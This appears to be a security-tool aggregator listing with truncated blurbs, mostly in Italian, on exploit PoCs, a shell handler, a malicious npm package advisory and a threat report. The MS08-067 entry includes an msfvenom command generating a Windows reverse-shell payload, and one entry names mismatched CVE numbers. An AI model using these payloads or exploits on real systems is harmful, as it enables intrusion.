ClickonceHunter

ClickonceHunter Strumento rilasciato in combinazione con la presentazione conference Less SmartScreen More Caffeine: ClickOnce AbUse for Trusted Code Execution presentazione conference / articolo del blog di 0xthirteen e me stesso. Web scraper in Golang che utilizza sia chromedp che normali...

cyberchef-recipes

CyberChef è il cosiddetto 'Cyber Swiss-Army Knife' creato dal GCHQ. È uno strumento fantastico per la trasformazione, l'estrazione e la manipolazione dei dati nel tuo browser web. Tutto il merito a @GCHQ per aver creato lo strumento. Vedi: https://gchq.github.io/CyberChef/ Consigli Generali Scari...

CVE-2024-3094

CVE-2024-3094 CVE-2024-3094 verificatore - Golang Ps.: Questa versione supporta dpkg, rpm, pacman e MacOS Installazione root@kitploit: ▶ go install github.com/gustavorobertux/CVE-2024-2093@latest Utilizzo di base root@kitploit: ./CVE-2024-2093 Checking system for CVE-2024-3094 Vulnerability...

IntelTXE-PoC

Avvertenza Tutte le informazioni sono fornite esclusivamente a scopo didattico. Segui queste istruzioni a tuo rischio e pericolo. Né gli autori né il loro datore di lavoro sono responsabili di eventuali danni diretti o consequenziali o perdite derivanti da qualsiasi persona o organizzazione che...

vbSparkle

vbSparkle क्या है? vbSparkle एक स्रोत-से-स्रोत source-to-source मल्टी-प्लेटफ़ॉर्म Visual Basic डिओबफसकेटर है जो आंशिक-मूल्यांकन partial-evaluation पर आधारित है और मुख्य रूप से VBScript और VBA Office Macro में लिखे दुर्भावनापूर्ण कोड के विश्लेषण के लिए समर्पित है। यह नेटिव C में लिखा गया है और एक...

CVE-2022-22963-POC

Exploit CVE-2022-22963 Descrizione Nelle versioni di Spring Cloud Function 3.1.6, 3.2.2 e versioni precedenti non supportate, quando si utilizza la funzionalità di routing è possibile che un utente fornisca uno SpEL appositamente modificato come routing-expression che può comportare l'esecuzione ...

EsFileExplorer-CVE-2019-6447

EsFileExplorer-CVE-2019-6447 Sfruttamento della vulnerabilità Android in ES File Explorer Vulnerability ES File Explorer è stato creato da ES worldwide, che fa parte di DO Global ed ha sede in Cina. Questo ES File Explorer è disponibile solo per dispositivi mobili che eseguono il sistema operativ...

awesome-web-hacking

awesome-web-hacking This list is for anyone wishing to learn about web application security but do not have a starting point. You can help by sending Pull Requests to add more information. If you're not inclined to make PRs you can tweet me at @infoslack Table of Contents Books Documentation Tool...

awesome-web-hacking

awesome-web-hacking Questa lista è per chiunque desideri imparare la sicurezza delle applicazioni web ma non abbia un punto di partenza. Puoi contribuire inviando Pull Request per aggiungere ulteriori informazioni. Se non vuoi fare PR, puoi twittarmi a @infoslack Indice dei contenuti Books...

algo

Algo VPN Algo VPN is a set of Ansible scripts that simplify the setup of a personal WireGuard and IPsec VPN. It uses the most secure defaults available and works with common cloud providers. See our release announcement for more information. Features Supports only IKEv2 with strong crypto AES-GCM...

penelope

Penelope is a modern shell handler for penetration testers and CTF players. It provides a more capable alternative to basic netcat listeners, adding automatic PTY upgrades, session management, logging, file transfers and helper modules. Table of Contents 📥 Installation ⚙️ Features 🖥️ Session...

CVE-2025-55182

CVE-2025-55182 — React2Shell INDICE DESCRIZIONE AMBIENTE COME USARE DESCRIZIONE CVE-2025-55182 "React2Shell" è una vulnerabilità RCE Remote Code Execution senza autenticazione con CVSS 10.0 presente nel deserializzatore del protocollo Flight di React Server Components. Riepilogo della vulnerabili...

TerminalFix campaign deploys a reverse tunnel through multistage intrusion

In this article 1. Attack chain overview 2. Mitigation and protection guidance 3. Learn more Microsoft Threat Intelligence has observed a TerminalFix campaign, a variant of ClickFix, targeting organizations across multiple industries. The campaign uses compromised websites to display a fake...

laforge

Laforge Security Competition Infrastructure Automation Framework Laforge enables rapid development of infrastructure for the purpose of information security competitions. Using a simple and intuitive configuration language, Laforge manages a dependency graph and state management and allows for...

GhostLock-GOT-W29

CVE-2026-43499 GhostLock — HUAWEI MatePad Pro 11 GOT-W29 Ricerca di escalation dei privilegi per CVE-2026-43499 rtmutex/futex-PI UAF, "GhostLock" su GOT-W29 HarmonyOS 4.0, kernel 4.19.157-perf+. Conclusioni principali : La primitive di scrittura della vulnerabilità è stata verificata con successo...

MS08-067

MS08-067 | CVE-2008-4250 Riferimento: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Generazione dello shellcode Useremo msfvenom per generare lo shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

Malicious code in @testrelic/playwright-analytics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c305bbe247587c98b06f039cdcf78066dbcd4fdacf5a5de0411023c2a4fcc97a scripts/postinstall.cjs is registered as the package's postinstall lifecycle script and runs automatically on npm install. After a block of...

MAL-2026-15565 Malicious code in @testrelic/playwright-analytics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c305bbe247587c98b06f039cdcf78066dbcd4fdacf5a5de0411023c2a4fcc97a scripts/postinstall.cjs is registered as the package's postinstall lifecycle script and runs automatically on npm install. After a block of...

ESP-RFID-Tool

ESP-RFID-Tool Di Corey Harding Sito ufficiale: www.rfid-tool.com April Brother sta attualmente producendo questo hardware e può essere acquistato direttamente dalla Cina dal loro Negozio Ufficiale: https://blog.aprbrother.com/product/esp-rfid-tool AliExpress Store:...

burp-exporter

Exporter Extension for Burp Suite Community and Pro Follow us to know more about tips and others extensions Description Exporter is a Burp Suite extension to copy a request to a file or the clipboard as multiple programming languages functions. It also adds a tab called Exporter where you can...